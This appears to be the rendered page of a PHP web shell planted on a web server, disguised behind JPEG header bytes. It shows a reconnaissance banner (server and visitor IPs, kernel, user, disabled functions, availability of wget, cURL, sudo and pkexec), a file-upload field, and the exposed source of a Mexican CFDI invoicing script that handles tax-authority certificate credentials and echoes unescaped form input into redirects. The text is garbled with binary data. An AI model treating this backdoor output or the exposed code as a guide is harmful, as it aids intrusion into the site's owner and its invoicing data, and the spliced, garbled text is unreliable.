����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 3.23.59.187 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/t/sae/appsae/report/ |
Upload File : |
<?php require_once ("../../application/model/dbconn.php"); require_once ("../../application/model/pos.php"); //ajustamos saldo updateSettingSaldo $updateSaldo = new pos(); $saldox = $updateSaldo->updateSettingSaldo('Saldo-Fact'); //revisamos saldo $posConfig = new pos(); echo $saldo = $posConfig->getByPreffix("Saldo-Fact")[1]['val']; //folio de tabla facturacion $posFolioF = new pos(); $FolioF = $posFolioF->getByFacturaMax(); if($FolioF[1]['id'] > 0){ echo $FolioFactura = $FolioF[1]['id'] + 1; }else{ $FolioFactura = 1; } include "../core/autoload.php"; include "../core/app/model/ProductData.php"; include "../core/app/model/OperationData.php"; include "../core/app/model/OperationTypeData.php"; include "../core/app/model/StockData.php"; include "../core/app/model/ConfigurationData.php"; include "../core/app/model/SellData.php"; require_once '../core/controller/PhpWord/Autoloader.php'; // Se desactivan los mensajes de debug error_reporting(~(E_WARNING|E_NOTICE)); //error_reporting(E_ALL); // Se especifica la zona horaria date_default_timezone_set('America/Mexico_City'); //date_default_timezone_set("America/Cancun"); //date_default_timezone_set("America/Mazatlan"); // Se incluye el SDK require_once '../../../../sdk/sdk2.php'; //datos de la venta $sale1= $_POST['sale_id']; // Se especifica la version de CFDi 3.3 $datos['version_cfdi'] = '3.3'; // Ruta del XML Timbrado $datos['cfdi']='../../../../sdk/timbrados/cfdi_factura_'.$sale1.'.xml'; // Ruta del XML de Debug $datos['xml_debug']='../../../../sdk/timbrados/sin_timbrar_factura_'.$sale1.'.xml'; //datos de cliente real archivo_cer $userMulti = ConfigurationData::getByPreffix("Usuario_Factura")->val; $passMulti = ConfigurationData::getByPreffix("pass_fac")->val; $ArchCerDemo = ConfigurationData::getByPreffix("archivo_cer")->val; $ArchKeyDemo =ConfigurationData::getByPreffix("archivo_key")->val; $PassDemoMulti = ConfigurationData::getByPreffix("Pass_Sat")->val; $Regimen = ConfigurationData::getByPreffix("Regimen_sat")->val; //$RegimenDemo = 621; //valores de la venta totales $sell = SellData::getByFactura($_POST['id']); //obtenemos los datos de configuracion $users_s= ConfigurationData::UserDemo(); $pass_s= ConfigurationData::PassDemo(); $userMulti = $users_s->val; $passMulti = $pass_s->val; $CerDemo = ConfigurationData::ArchCerDemo(); $KeyDemo = ConfigurationData::ArchKeyDemo(); $passDemoMultis = ConfigurationData::PassDemoMulti(); $ArchCerDemo = $CerDemo->val; $ArchKeyDemo = $KeyDemo->val; $PassDemoMulti = $passDemoMultis->val; $RegimenDemos = ConfigurationData::RegimenfiscalDemo(); $RegimenDemo = $RegimenDemos->val; $settingsRFC = ConfigurationData::getByIdRFC(); $settings2 = ConfigurationData::getById1(); $settingsEmisor = ConfigurationData::getByIdEmisor(); $settingsCalle = ConfigurationData::getByIdCalle(); $settingsInt = ConfigurationData::getByIdInt(); $settingsExt = ConfigurationData::getByIdExt(); $settingsColonia = ConfigurationData::getByIdColonia(); $settingsCity = ConfigurationData::getByIdCity(); $settingsCP = ConfigurationData::getByIdCp(); $settingsCodigoSat = ConfigurationData::getByIdClaveSat(); $settingsUnidadSat = ConfigurationData::getByIdUnidadSat(); $settingsRegimenSat = ConfigurationData::getByIdRegimenSat(); // Credenciales de Timbrado $datos['PAC']['usuario'] = ''.$userMulti.''; $datos['PAC']['pass'] = ''.$passMulti.''; $datos['PAC']['produccion'] = 'NO'; // Rutas y clave de los CSD $datos['conf']['cer'] = '../../../../sdk/certificados/'.$ArchCerDemo.''; $datos['conf']['key'] = '../../../../sdk/certificados/'.$ArchKeyDemo.''; $datos['conf']['pass'] = ''.$PassDemoMulti.''; //revisamos saldo $saldo = ConfigurationData::getByPreffix("Saldo-Fact")->val; if(isset($sale1)) { // Datos del Emisor $RFC_demo_Emisor = $settingsRFC->val; $RFC_nombre_Emisor = ConfigurationData::getByPreffix("name_val")->Val; $datos['emisor']['rfc'] = ''.$RFC_demo_Emisor.''; //RFC DE PRUEBA $datos['emisor']['nombre'] = ''.$RFC_nombre_Emisor.''; // EMPRESA DE PRUEBA // Datos del Receptor $datos['receptor']['rfc'] = $_POST['rfc']; $datos['receptor']['nombre'] = $_POST['name_cte']; $datos['receptor']['UsoCFDI'] = $_POST['uso_cfdi']; $nombreCliente= $_POST['name_cte']; //******** Se agregan los conceptos $cart = $_SESSION["facturar"]; print_r($cart); $operations = OperationData::getByc($sale1); //buscamos los productos de la venta $i=0; $impuesto=0; $subtotal=0; $banderaCero = 1; foreach($operations as $operation){ $prod = ProductData::getBycodeItem($operation->barcode); $result['tax'] = $prod->tax; if($result['tax'] == 8){ }else{ } if( !empty($operation->id_item) && !empty($operation->item_name) ){ if($result['tax']==0){ //PRODUCTO CON TASA CERO $price_sin = number_format($operation->price,2); $price_sin = floatval(preg_replace('/[^\d.]/', '', $price_sin)); $datos['conceptos'][$i]['cantidad'] = $operation->qty; $datos['conceptos'][$i]['unidad'] = 'NA'; $datos['conceptos'][$i]['ID'] = $operation->id_item; $datos['conceptos'][$i]['descripcion'] = $operation->item_name; $datos['conceptos'][$i]['valorunitario'] = $price_sin; $datos['conceptos'][$i]['importe'] = $price_sin*$operation->qty; $datos['conceptos'][$i]['ClaveProdServ'] = $settingsCodigoSat->val; $datos['conceptos'][$i]['ClaveUnidad'] = $settingsUnidadSat->val; $datos['conceptos'][$i]['Impuestos']['Traslados'][1]['Base'] = $price_sin; $datos['conceptos'][$i]['Impuestos']['Traslados'][1]['Impuesto'] = '002'; $datos['conceptos'][$i]['Impuestos']['Traslados'][1]['TipoFactor'] = 'Tasa'; $datos['conceptos'][$i]['Impuestos']['Traslados'][1]['TasaOCuota'] = '0.000000'; $datos['conceptos'][$i]['Impuestos']['Traslados'][1]['Importe'] = 0.00; //$valor1 = number_format(($operation['price']*$operation['qty'])*0.080000,2); $valor0 = number_format( $price_sin*$operation->qty,2); $valor = 0.00; $banderaCero=2; } if($result['tax']==8){ $price_sin = number_format($operation->price/1.08,2); $price_sin = floatval(preg_replace('/[^\d.]/', '', $price_sin)); $datos['conceptos'][$i]['cantidad'] = $operation->qty; $datos['conceptos'][$i]['unidad'] = 'NA'; $datos['conceptos'][$i]['ID'] = $operation->id_item; $datos['conceptos'][$i]['descripcion'] = $operation->item_name; $datos['conceptos'][$i]['valorunitario'] = $price_sin; $datos['conceptos'][$i]['importe'] = $price_sin*$operation->qty; $datos['conceptos'][$i]['ClaveProdServ'] = $settingsCodigoSat->val; $datos['conceptos'][$i]['ClaveUnidad'] = $settingsUnidadSat->val; $valor1 = number_format(($price_sin*$operation->qty)*0.080000,2); $valor0 = number_format($price_sin*$operation->qty,2); $datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Base'] = $price_sin*$operation->qty; $datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Impuesto'] = '002'; $datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa'; $datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.080000'; $datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Importe'] = $valor1; $impuesto = number_format($impuesto + $valor1,2); } $subtotal = $subtotal + ($price_sin*$operation->qty); echo "-------------------------------"; echo $subtotal; echo "-------------------------------"; echo $valor1; $i=$i+1; } } if($impuesto > 0){ // Se agregan los Impuestos SOLO EL QUE TIENE TASA > 0 $datos['impuestos']['translados'][0]['impuesto'] = '002'; $datos['impuestos']['translados'][0]['tasa'] = '0.080000'; $datos['impuestos']['translados'][0]['importe'] = $impuesto; $datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa'; if( $banderaCero == 2){ $datos['impuestos']['translados'][1]['impuesto'] = '002'; $datos['impuestos']['translados'][1]['tasa'] = '0.000000'; $datos['impuestos']['translados'][1]['importe'] = 0.00; $datos['impuestos']['translados'][1]['TipoFactor'] = 'Tasa'; } } else{ $datos['impuestos']['translados'][1]['impuesto'] = '002'; $datos['impuestos']['translados'][1]['tasa'] = '0.000000'; $datos['impuestos']['translados'][1]['importe'] = 0.00; $datos['impuestos']['translados'][1]['TipoFactor'] = 'Tasa'; } $datos['impuestos']['TotalImpuestosTrasladados'] = $impuesto; // Datos de la Factura $datos['factura']['condicionesDePago'] = 'CONTADO'; $datos['factura']['descuento'] = '0.00'; $datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s', time() - 120); $datos['factura']['folio'] = $FolioFactura; $datos['factura']['forma_pago'] = '01'; $datos['factura']['LugarExpedicion'] = $settingsCP->val; $datos['factura']['metodo_pago'] = 'PUE'; $datos['factura']['moneda'] = 'MXN'; $datos['factura']['serie'] = 'A'; $datos['factura']['subtotal'] = $subtotal; $datos['factura']['tipocambio'] = 1; $datos['factura']['tipocomprobante'] = 'I'; $datos['factura']['total'] = $subtotal + $impuesto; $datos['factura']['RegimenFiscal'] = ''.$RegimenDemo.''; echo "<pre>"; print_r($datos); echo "</pre>"; // Se ejecuta el SDK $res = mf_genera_cfdi($datos); $codigo= $res['codigo_mf_numero']; $name_codigo= $res['codigo_mf_texto']; $uuid= $res['uuid']; $id=$sell->id; foreach ($res AS $variable => $valor) { $valor = htmlentities($valor); $valor = str_replace('<br/>', '<br/>', $valor); echo "<b>[$variable]=</b>$valor<hr>"; } //generar el pdf $datosHTML['RESPUESTA_UTF8'] = "SI"; $datosHTML['PAC']['usuario'] = ''.$userMulti.''; $datosHTML['PAC']['pass'] = ''.$passMulti.''; $datosHTML['PAC']['produccion'] = "".$FacturacionReal.""; //MODULO MULTIFACTURAS : CONVIERTE UN XML CFDI A HTML $datosHTML['modulo']="cfdi2html"; //NOMBRE MODULO $datosHTML['rutaxml']=$datos['cfdi']; //RUTA DEL XML CFDI $MombreEmisor= $settingsEmisor->val; $datosHTML['titulo']=''.$MombreEmisor.''; //TITULO DE FACTURA $datosHTML['tipo']="FACTURA"; //TIPO DE FACTURA VENTA,NOMINA,ARRENDAMIENTO, $datosHTML['path_logo']="../../../../sdk/timbrados/logo.png"; //RUTA DE LOGOTIPO DE FACTURA $datosHTML['notas']="Pago en una sola exhibicion"; //NOTA IMPRESA EN FACTURA $datosHTML['color_marco']="#324273"; //COLOR DEL MARCO DE LA FACTURA $datosHTML['color_marco_texto']="#24B7C8"; //COLOR DEL TEXTO DEL MARCO DE LA FACTURA $datosHTML['color_texto']="#042125"; //COLOR DEL TEXTO EN GENERAL $datosHTML['fuente_texto']="monospace"; //FUENTE DEL TEXTO EN GENERAL $res = mf_ejecuta_modulo($datosHTML); //FUNCION QUE CARGA EL MODULO cfdi2html $HTML=$res['html']; //HTML DEL XML //RESPUESTA DE LA FUNCION CARGAR MODULO ////////////////////////////////////////////////////////////////////////////// //CONVERTIR EL HTML DEL XML CFDI A PDF $datosPDF['PAC']['usuario'] = ''.$userMulti.''; $datosPDF['PAC']['pass'] = ''.$passMulti.''; $datosPDF['PAC']['produccion'] = "".$FacturacionReal.""; $datosPDF['modulo']="html2pdf"; //NOMBRE MODULO $datosPDF['html']="$HTML"; // HTML DE XML CFDI A CONVERTIR A PDF $datosPDF['archivo_html']=""; // OPCION SI SE TIENE UN ARCHIVO .HTML $datosPDF['archivo_pdf']="../../../../sdk/timbrados/cfdi_factura_".$sale1.".pdf"; //$datosPDF['archivo_pdf']="RUTA DONDE SE CREARA EL PDF/nombrearhivo.pdf"; //RUTA DONDE SE GUARDARA EL PDF $res = mf_ejecuta_modulo($datosPDF); $name = $_POST['name']; $rfc = $_POST['rfc']; if( $codigo == 0) { //print_r($res); print "<script>window.location='http://localhost/t/sae/pos11/?view=addFact&uuid=$uuid&id=$id&rfc=$rfc&name=$nombreCliente&subtotal=$subtotal&impuesto=$impuesto';</script>"; }else { //print "<script>window.location='http://localhost/t/sae/pos11/?view=errFact&uuid=$codigo&name_codigo=$name_codigo&id=$id';</script>"; echo $codigo; } }else{ $id=$_POST['id']; $name_codigo = "Sin_Timbres"; print "<script>window.location='http://localhost/t/sae/pos11/?view=errFact&uuid=$codigo&name_codigo=$name_codigo&id=$id';</script>"; }